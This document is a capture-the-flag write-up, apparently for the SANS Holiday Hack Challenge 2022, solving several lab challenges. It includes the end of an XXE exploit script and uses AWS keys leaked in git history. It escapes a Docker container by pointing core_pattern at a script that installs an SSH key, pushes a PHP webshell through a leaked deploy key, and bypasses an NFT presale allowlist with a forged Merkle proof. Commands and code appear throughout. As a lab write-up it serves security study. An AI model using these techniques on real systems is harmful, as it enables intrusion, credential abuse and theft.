110 submit_xxe(ticket, "/app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt", "made a pretty bold REQuest")
111 submit_xxe(ticket, "/app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt", "No, really I couldn't", insert_point='reqType')
An example run is the following, with the final line containing the solution to this challenge, goldring-morethansupertopsecret76394734.png. Further explanation of each stage follows.
$ ./find_special_ring.py
getting ticket from https://glamtarielsfountain.com/
ticket: ImEwM2NiOTE5ZTQxZTUyYjJkNzA0ZmUyYjMxOTY5M2Y0ZjQyNmIxNGYi.Y7Ul3w.gDMcUa1bUsd1qioFsLXLh37jAmo
stage 1 - asserting img 1 length of 13879
stage 1 - dropping all images
stage 2 - asserting img 1 length of 15935
stage 2 - dropping all images
stage 3 - asserting img 1 length of 13858
stage 3 - dropping all images
confirming existence of /app/static/images/ringlist.txt)
visiting image: static/images/pholder-morethantopsupersecret63842.png,262px,100px
confirming existence of /app/static/images/x_phial_pholder_2022/silverring.txt)
visiting image: static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px
confirming existence of /app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt)
confirming existence of /app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt)
visiting image: static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px
where:
static/images/pholder-morethantopsupersecret63842.png,262px,100px
reveals the path to a folder containing ring txt files. The separator
used in the folder name isn’t clear from the image but it was
successfully guessed as _
:
The request for
/app/static/images/x_phial_pholder_2022/silverring.txt
was
a guess based on an earlier response that contained ‘Glamtariel may not
have one of these silver rings in her collection’ (omitted for
brevity)
static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px
reveals the path to
/app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt
:
The response to
/app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt
injected into imgDrop
hints that it should be injected into
reqType
instead:
The response to injecting
/app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt
into reqType
reveals the final solution of goldring-morethansupertopsecret76394734.png
Session transcript:
Search for secrets:
elf@f5642c717faa:~$ trufflehog git https://haugfactory.com/asnowball/aws_scripts.git
<snip/>
Found unverified result 🐷🔑❓
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAAIDAYRANYAHGQOHD
Email: asnowball <alabaster@northpolechristmastown.local>
Repository: https://haugfactory.com/asnowball/aws_scripts.git
Timestamp: 2022-09-07 07:53:12 -0700 -0700
Line: 6
Commit: 106d33e1ffd53eea753c1365eafc6588398279b5
File: put_policy.py
<snip/>
Clone the repository:
elf@f5642c717faa:~$ git clone https://haugfactory.com/asnowball/aws_scripts.git
Cloning into 'aws_scripts'...
remote: Enumerating objects: 64, done.
remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64
Unpacking objects: 100% (64/64), 23.83 KiB | 1.32 MiB/s, done.
Checkout the commit containing the AWS secret:
elf@f5642c717faa:~/aws_scripts$ git checkout 106d33e1ffd53eea753c1365eafc6588398279b5
Note: switching to '106d33e1ffd53eea753c1365eafc6588398279b5'.
elf@f5642c717faa:~/aws_scripts$ cat put_policy.py
<snip/>
iam = boto3.client('iam',
region_name='us-east-1',
aws_access_key_id="AKIAAIDAYRANYAHGQOHD",
aws_secret_access_key="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",
)
<snip/>
Configure the AWS CLI with the secrets:
elf@f5642c717faa:~/aws_scripts$ aws configure
AWS Access Key ID [None]: AKIAAIDAYRANYAHGQOHD
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:
elf@f5642c717faa:~/aws_scripts$ aws sts get-caller-identity
{
"UserId": "AIDAJNIAAQYHIAAHDDRA",
"Account": "602123424321",
"Arn": "arn:aws:iam::602123424321:user/haug"
}
Which confirms the file with a valid AWS secret is put_policy.py
List attached user policies:
elf@f5642c717faa:~/aws_scripts$ aws iam list-attached-user-policies --user-name haug
{
"AttachedPolicies": [
{
"PolicyName": "TIER1_READONLY_POLICY",
"PolicyArn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
<snip/>
Get the attached user policy:
elf@f5642c717faa:~/aws_scripts$ aws iam get-policy --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY
{
"Policy": {
"PolicyName": "TIER1_READONLY_POLICY",
"PolicyId": "ANPAYYOROBUERT7TGKUHA",
"Arn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY",
"Path": "/",
"DefaultVersionId": "v1",
<snip/>
Get the default version of the attached user policy:
elf@f5642c717faa:~/aws_scripts$ aws iam get-policy-version --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY --version-id v1
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"lambda:ListFunctions",
"lambda:GetFunctionUrlConfig"
],
"Resource": "*"
},
{
"Effect": "Allow",
"Action": [
"iam:GetUserPolicy",
"iam:ListUserPolicies",
"iam:ListAttachedUserPolicies"
],
"Resource": "arn:aws:iam::602123424321:user/${aws:username}"
},
{
"Effect": "Allow",
"Action": [
"iam:GetPolicy",
"iam:GetPolicyVersion"
],
"Resource": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
},
{
"Effect": "Deny",
"Principal": "*",
"Action": [
"s3:GetObject",
"lambda:Invoke*"
],
"Resource": "*"
<snip/>
List inline user policies:
elf@f5642c717faa:~/aws_scripts$ aws iam list-user-policies --user-name haug
{
"PolicyNames": [
"S3Perms"
],
<snip/>
Get the inline user policy:
elf@f5642c717faa:~/aws_scripts$ aws iam get-user-policy --user-name haug --policy-name S3Perms
{
"UserPolicy": {
"UserName": "haug",
"PolicyName": "S3Perms",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:ListObjects"
],
"Resource": [
"arn:aws:s3:::smogmachines3",
"arn:aws:s3:::smogmachines3/*"
]
}
<snip/>
List objects in the S3 bucket:
elf@f5642c717faa:~/aws_scripts$ aws s3api list-objects --bucket smogmachines3
{
"IsTruncated": false,
"Marker": "",
"Contents": [
<snip/>
{
"Key": "smog-power-station.jpg",
"LastModified": "2022-09-23 20:40:46+00:00",
"ETag": "\"0e69b8d53d97db0db9f7de8663e9ec09\"",
"Size": 32498,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "grinchum",
"ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
}
},
{
"Key": "smogmachine_lambda_handler_qyJZcqvKOthRMgVrAJqq.py",
"LastModified": "2022-09-26 16:31:33+00:00",
"ETag": "\"fd5d6ab630691dfe56a3fc2fcfb68763\"",
"Size": 5823,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "grinchum",
"ID": "15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60"
}
}
],
<snip/>
List lambda functions:
elf@f5642c717faa:~/aws_scripts$ aws lambda list-functions
{
"Functions": [
{
"FunctionName": "smogmachine_lambda",
"FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda", "Runtime": "python3.9",
"Role": "arn:aws:iam::602123424321:role/smogmachine_lambda",
"Handler": "handler.lambda_handler",
<snip/>
Get the function URL config
elf@f5642c717faa:~/aws_scripts$ aws lambda get-function-url-config --function-name smogmachine_lambda
{
"FunctionUrl": "https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/",
"FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
"AuthType": "AWS_IAM",
"Cors": {
"AllowCredentials": false,
"AllowHeaders": [],
"AllowMethods": [
"GET",
"POST"
],
"AllowOrigins": [
"*"
],
"ExposeHeaders": [],
"MaxAge": 0
},
"CreationTime": "2022-09-07T19:28:23.808713Z",
"LastModifiedTime": "2022-09-07T19:28:23.808713Z"
}
The repository can be cloned over the https protocol:
bow@73bbd4814676:~$ git clone https://haugfactory.com/asnowball/aws_scripts.git
Cloning into 'aws_scripts'...
remote: Enumerating objects: 64, done.
remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64
Unpacking objects: 100% (64/64), 23.83 KiB | 1.25 MiB/s, done.
The last word from the README.md was found to be maintainers:
bow@73bbd4814676:~$ tail aws_scripts/README.md
<snip/>
If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.
bow@73bbd4814676:~$ runtoanswer maintainers
Your answer: maintainers
Checking......
Your answer is correct!
The current user was found to have sudo permissions to run any command without a password:
grinchum-land:~$ sudo -l
User samways may run the following commands on grinchum-land:
(ALL) NOPASSWD: ALL
The user shell was escalated to a root shell in the container:
grinchum-land:~$ sudo su
grinchum-land:/home/samways# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
The container was found to have a single network interface and a
default gateway of 172.18.0.1
:
grinchum-land:/config# ip a
<snip/>
7: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:12:00:63 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.99/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever
grinchum-land:/config# ip r
default via 172.18.0.1 dev eth0
172.18.0.0/16 dev eth0 scope link src 172.18.0.99
In a docker container, the default gateway typically defaults to the underlying host. The container was found to contain nmap and this was used to identify ssh services at 22/tcp and 2222/tcp on the host:
grinchum-land:/dev/shm# nmap -n -vv --reason -sS -p- -oA nmap-172.18.0.1-tcp-all-ports 172.18.0.1
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-18 06:46 GMT
<snip/>
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
2222/tcp open EtherNetIP-1 syn-ack ttl 64
<snip/>
2222/tcp
was identified as the sshd running within
the container. Thus, it was speculated that 22/tcp
was
running on the host.
grinchum-land:~# ps -ef|less
UID PID PPID C STIME TTY TIME CMD
<snip/>
samways 162 37 0 05:24 ? 00:00:00 sshd.pam: /usr/sbin/sshd.pam -D -e -p
2222 [listener] 0 of 10-100 startups
<snip/>
22/tcp
was identified as supporting public key
authentication:
grinchum-land:/# ssh -v root@172.18.0.1
...
debug1: Authentications that can continue: publickey,password
...
The existence of /keygen.sh
was interpreted as a
hint that 22/tcp
was a viable attack vector. An ssh key
pair was generated:
grinchum-land:/# ./keygen.sh
Please select your key type to generate
1.) ecdsa
2.) rsa
3.) ed25519
4.) dsa
[default ecdsa]:3
YOUR KEY/PUBFILE IS BELOW PLEASE SAVE THIS DATA AS WE WILL NOT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBJOEFEy1S+uWn5d8vqyu2Bd491YcoeZb7pTCEjzV6sbAAAAJi7P2Kmuz9i
pgAAAAtzc2gtZWQyNTUxOQAAACBJOEFEy1S+uWn5d8vqyu2Bd491YcoeZb7pTCEjzV6sbA
AAAEDGseya3CpLS3KDPWh8NCbMP80HvKwpkX0yAcUNoyREAUk4QUTLVL65afl3y+rK7YF3
j3Vhyh5lvulMISPNXqxsAAAAEnJvb3RAZ3JpbmNodW0tbGFuZAECAw==
-----END OPENSSH PRIVATE KEY-----
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEk4QUTLVL65afl3y+rK7YF3j3Vhyh5lvulMISPNXqxs root@grinchum-land
The private key was installed into ~/.ssh/id_ed25519
and the permissions set:
grinchum-land:~/.ssh# chmod 600 ~/.ssh/id_ed25519
grinchum-land:~/.ssh# ls -l ~/.ssh/id_ed25519
-rw------- 1 root root 411 Dec 22 03:46 /root/.ssh/id_ed25519
The root process in the container appeared to be running with a full set of Linux Kernel capabilities enabled:
grinchum-land:/proc/1# cat status|grep Cap
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
<snip/>
Decoding the capability bits on a local Kali instance:
$ capsh --decode=0000003fffffffff
0x0000003fffffffff=<snip/>cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,
cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin<snip/>
As per
it is possible to exploit /proc/sys/kernel/core_pattern
to
execute arbitrary code upon a core dump. A shell script was created to
install the ssh public key into /root/.ssh/authorized_keys
and the script was made executable:
grinchum-land:~# cat /shell.sh
#!/bin/bash
mkdir -p /root/.ssh && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEk4QUTLVL65afl3y+rK7YF3j3Vhyh5lvulMISPNXqxs" >> /root/.ssh/authorized_keys
grinchum-land:~# ls -l /shell.sh
-rwxrwxrwx 1 root root 153 Dec 22 04:02 /shell.sh
The container writable overlay filesystem was found to be located
at
/var/lib/docker/overlay2/46d2ad0559730fb3341e4fdfa0fc9b8b1666ff15486fa0f4953d55e930d994a0/diff
:
grinchum-land:~/.ssh# cat /etc/mtab
overlay / overlay rw,relatime,<snip/>upperdir=/var/lib/docker/overlay2/46d2ad0559730fb3341e4fdfa0fc9b8b1666ff15486fa0f4953d55e930d994a0/diff<snip/>
/proc/sys/kernel/core_pattern
was set to execute
shell.sh
from the overlay directory on the
host:
grinchum-land:/dev/shm# export overlay='/var/lib/docker/overlay2/46d2ad0559730fb3341e4fdfa0fc9b8b1666ff15486fa0f4953d55e930d994a0/diff'
grinchum-land:/dev/shm# echo "|$overlay/shell.sh" > /proc/sys/kernel/core_pattern
grinchum-land:~/.ssh# cat /proc/sys/kernel/core_pattern
|/var/lib/docker/overlay2/46d2ad0559730fb3341e4fdfa0fc9b8b1666ff15486fa0f4953d55e930d994a0/diff/shell.sh
On a local Kali instance, a small c program was created to crash, then base64 encoded and copied into the clipboard:
$ cat crash.c
int main() {
return 1/0;
}
$ gcc -nostartfiles -static -s crash.c
$ cat a.out | base64 -w 0 | xsel -i -b
The base64 encoded program was installed into the container via the clipboard:
grinchum-land:/dev/shm# vi crash.b64
grinchum-land:/dev/shm# cat crash.b64 | base64 -d > crash.out
grinchum-land:/dev/shm# chmod u+x crash.out
grinchum-land:/dev/shm# cp crash.out ~
The program was executed, resulting in a core dump (on the host):
grinchum-land:~# ./crash.out
Arithmetic exception (core dumped)
ssh access to the host was obtained and the secret discovered as 082bb339ec19de4935867:
grinchum-land:~# ssh -i ~/.ssh/id_ed25519 root@172.18.0.1
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.10.51 x86_64)
<snip/]
root@dac96dd73e8a0637:~# id
uid=0(root) gid=0(root) groups=0(root)
root@dac96dd73e8a0637:/home/jailer/.ssh# cat jail.key.priv
<snip/>
.'_ 082bb339ec19de4935867 `-.
<snip/>
The current user was found to have sudo permissions to run any command without a password:
grinchum-land:~$ sudo -l
User samways may run the following commands on grinchum-land:
(ALL) NOPASSWD: ALL
The user shell was escalated to a root shell in the container:
grinchum-land:~$ sudo su -
grinchum-land:~# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Tinsel Upatree provided two clues:
http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
The repository was cloned:
grinchum-land:~# git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
Cloning into 'wordpress.flag.net.internal'...
remote: Enumerating objects: 10195, done.
remote: Total 10195 (delta 0), reused 0 (delta 0), pack-reused 10195
Receiving objects: 100% (10195/10195), 36.49 MiB | 23.91 MiB/s, done.
Resolving deltas: 100% (1799/1799), done.
Updating files: 100% (9320/9320), done.
A suspicious log entry was identified:
grinchum-land:~/wordpress.flag.net.internal# git log |grep -B4 whoops
commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh <sporx@kringlecon.com>
Date: Tue Oct 25 13:42:54 2022 -0700
whoops
The suspicious log entry contained a private ssh key:
grinchum-land:~/wordpress.flag.net.internal# git show -p e19f653bde9ea3de6af21a587e41e7a909db1ca5
commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh <sporx@kringlecon.com>
Date: Tue Oct 25 13:42:54 2022 -0700
whoops
diff --git a/.ssh/.deploy b/.ssh/.deploy
deleted file mode 100644
index 3f7a9e3..0000000
--- a/.ssh/.deploy
+++ /dev/null
@@ -1,7 +0,0 @@
------BEGIN OPENSSH PRIVATE KEY-----
-b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
-QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5
-9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g
-AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot
-PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
------END OPENSSH PRIVATE KEY-----
diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub
deleted file mode 100644
index 8c0b43c..0000000
--- a/.ssh/.deploy.pub
+++ /dev/null
@@ -1 +0,0 @@
-ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com
The private key was installed:
grinchum-land:~# mkdir .ssh && chmod 600 .ssh && ls -ld .ssh
drw------- 2 root root 4096 Dec 24 06:19 .ssh
grinchum-land:~# vi .ssh/id_ed25519
grinchum-land:~# cat .ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5
9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g
AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot
PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
-----END OPENSSH PRIVATE KEY-----
grinchum-land:~# chmod 600 .ssh/id_ed25519
grinchum-land:~# ls -l .ssh/id_ed25519
-rw------- 1 root root 411 Dec 24 06:21 .ssh/id_ed25519
The repository was cloned again using the ssh identity:
grinchum-land:~# git clone git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git
Cloning into 'wordpress.flag.net.internal'...
The authenticity of host 'gitlab.flag.net.internal (172.18.0.150)' can't be established.
ED25519 key fingerprint is SHA256:jW9axa8onAWH+31D5iHA2BYliy2AfsFNaqomfCzb2vg.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'gitlab.flag.net.internal' (ED25519) to the list of known hosts.
remote: Enumerating objects: 10195, done.
remote: Total 10195 (delta 0), reused 0 (delta 0), pack-reused 10195
Receiving objects: 100% (10195/10195), 36.49 MiB | 22.20 MiB/s, done.
Resolving deltas: 100% (1799/1799), done.
Updating files: 100% (9320/9320), done.
The git user name and email were configured to use the same values as the legitimate committer:
grinchum-land:~/wordpress.flag.net.internal# git config --global --add user.name knee-oh
grinchum-land:~/wordpress.flag.net.internal# git config --global --add user.email sporx@kringlecon.com
A basic php webshell was created. The webshell was sourced from
/usr/share/webshells/php/simple-backdoor.php
on a Kali
host, authored by http://michaeldaw.org 2006
.
grinchum-land:~/wordpress.flag.net.internal# cat shell.php
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
The webshell was committed and pushed:
grinchum-land:~/wordpress.flag.net.internal# git add shell.php
grinchum-land:~/wordpress.flag.net.internal# git commit -m shelled
[main f713dbe] shelled
1 file changed, 9 insertions(+)
create mode 100644 shell.php
grinchum-land:~/wordpress.flag.net.internal# git push origin main
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 352 bytes | 352.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
To gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git
37b5d57..f713dbe main -> main
The web shell was confirmed to have been automatically deployed and to be functional:
grinchum-land:~/wordpress.flag.net.internal# curl -s 'http://wordpress.flag.net.internal/shell.php?cmd=id'
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>
The flag file was found in the root directory and the Elfen Ring was obtained as oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT:
grinchum-land:~/wordpress.flag.net.internal# curl -s 'http://wordpress.flag.net.internal/shell.php?cmd=ls%20/'
...
flag.txt
...
grinchum-land:~/wordpress.flag.net.internal# curl -s 'http://wordpress.flag.net.internal/shell.php?cmd=cat%20/flag.txt' |grep '\w'
<pre>
Congratulations! You've found the HHC2022 Elfen Ring!
░░ ▒▒▓▓▓▓ oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT ░░░░░░░░ ░░▒▒▒▒▓▓
</pre>
The KTM UI was used to approve a transaction of 10 KC from wallet
id 0x7f947CAb530316A9BBa37878A254fb7738b049DF
to
0x04dba1A0E178B21670E78CDE98E4183b1ee619de
, resulting in
block 98883 in the Blockchain Explorer:
The hats vending machine UI was then used to purchase hat id 500
using the wallet id
0x7f947CAb530316A9BBa37878A254fb7738b049DF
, resulting in block 98885 in the Blockchain
Explorer:
The address of the KringleCoin smart contract was identified as 0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554 based
on a recent transaction on the blockchain, as a transaction which
invokes a smart contract will always have the contract’s address in the
to
field:
For good measure, block 1
was also explicitly identified
as containing a transaction which deployed the KringleCoin smart
contract to the same address as above:
The bsrs.js source code on the BSRS presale page posts the
following values to the cgi-bin/presale
endpoint:
The source code for the BSRS_nft smart contract was located in the Blockchain Explorer in Block 2 and the source code was copied.
The BSRS contract inherits from ERC721PresetMinterPauserAutoId:
2220 contract BSRS is ERC721PresetMinterPauserAutoId {
2221
2222 constructor() public
2223 ERC721PresetMinterPauserAutoId("Bored Sporc Rowboat Society", "BSRS", "https://boredsporcrowboatsociety.com/TOKENS/BSRS")
2224 {}
2225
2226 }
However, the code for ERC721PresetMinterPauserAutoId
contains the following additional functions compared to what appears to
be the upstream code at :
2161 function presale_mint(address to, bytes32 _root, bytes32[] memory _proof) public virtual {
2162 bool _preSaleIsActive = preSaleIsActive;
2163 require(_preSaleIsActive, "Presale is not currently active.");
2164 bytes32 leaf = keccak256(abi.encodePacked(to));
2165 require(verify(leaf, _root, _proof), "You are not on our pre-sale allow list!");
2166 _mint(to, _tokenIdTracker.current());
2167 _tokenIdTracker.increment();
2168 }
...
2123 function verify(bytes32 leaf, bytes32 _root, bytes32[] memory proof) public view returns (bool) {
2124 bytes32 computedHash = leaf;
2125 for (uint i = 0; i < proof.length; i++) {
2126 bytes32 proofElement = proof[i];
2127 if (computedHash <= proofElement) {
2128 computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
2129 } else {
2130 computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
2131 }
2132 }
2133 return computedHash == _root;
2134 }
During the presale period, the presale_mint function does the following:
to
addressThus, the cgi-bin/presale
endpoint is hypothesised
to call the presale_mint
function in the smart contract.
Given the attacker can control the passed in root hash, the attack
approach is to build a small Merkle tree as follows in order to
determine an appropriate root hash and proof:
The following contract code was entered into :
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
/**
* @title MerkleTreeHashes
* @dev Simple utility for SANS 2022 Holiday Hack Challenge
*/
contract MerkleTreeHashes {
function compute_root(address wallet) public pure returns (bytes32, bytes32) {
bytes32 leaf = keccak256(abi.encodePacked(wallet));
bytes32[1] memory proof = [leaf];
bytes32 root_hash = keccak256(abi.encodePacked(leaf, proof[0]));
return (root_hash, leaf);
}
function verify(bytes32 leaf, bytes32 _root, bytes32[] memory proof) public view returns (bool) {
bytes32 computedHash = leaf;
for (uint i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash == _root;
}
}
The compute_root
function computes the root and leaf
hashes for the desired Merkle tree and is based on the code in the
verify
function. The function was called with the wallet
address 0x7f947CAb530316A9BBa37878A254fb7738b049DF
:
The returned root and leaf hash values were:
0: bytes32: 0x7ee7bb806aefa156e0cbcc1da38b3f107ec2db5945885082a1531cf6c2b9f08c
1: bytes32: 0xf8f5a678f400cd7a52f3fb29df5fbf0193e101c519c318fff7df6116d448a8a3
The verify
function is a copy of the
verify
function from the
ERC721PresetMinterPauserAutoId
contract. The function was
called with the computed parameters from the previous step:
Parameter:
0xf8f5a678f400cd7a52f3fb29df5fbf0193e101c519c318fff7df6116d448a8a3,0x7ee7bb806aefa156e0cbcc1da38b3f107ec2db5945885082a1531cf6c2b9f08c,[0xf8f5a678f400cd7a52f3fb29df5fbf0193e101c519c318fff7df6116d448a8a3]
ie. leaf hash,root hash,[leaf hash]
The result indicated verification was passed.
In the BSRS webapp, the root hash in bsrs.js
was
edited using the Chromium dev tools to match the computed value
above:
The form was then submitted with the the proof value set to the computed leaf hash above, resulting in validation passing:
0x7f947CAb530316A9BBa37878A254fb7738b049DF
0xf8f5a678f400cd7a52f3fb29df5fbf0193e101c519c318fff7df6116d448a8a3
Using a KTM, a 100 KC transaction was pre-approved to wallet
address
0xe8fC6f6a76BE243122E3d01A1c544F87f1264d3a
.
In the BSRS webapp, the presale form was submitted with the same
values as for step 10, but with the Validate only
checkbox
unticked, which resulted in a Bored Spoc NFT being successfully
purchased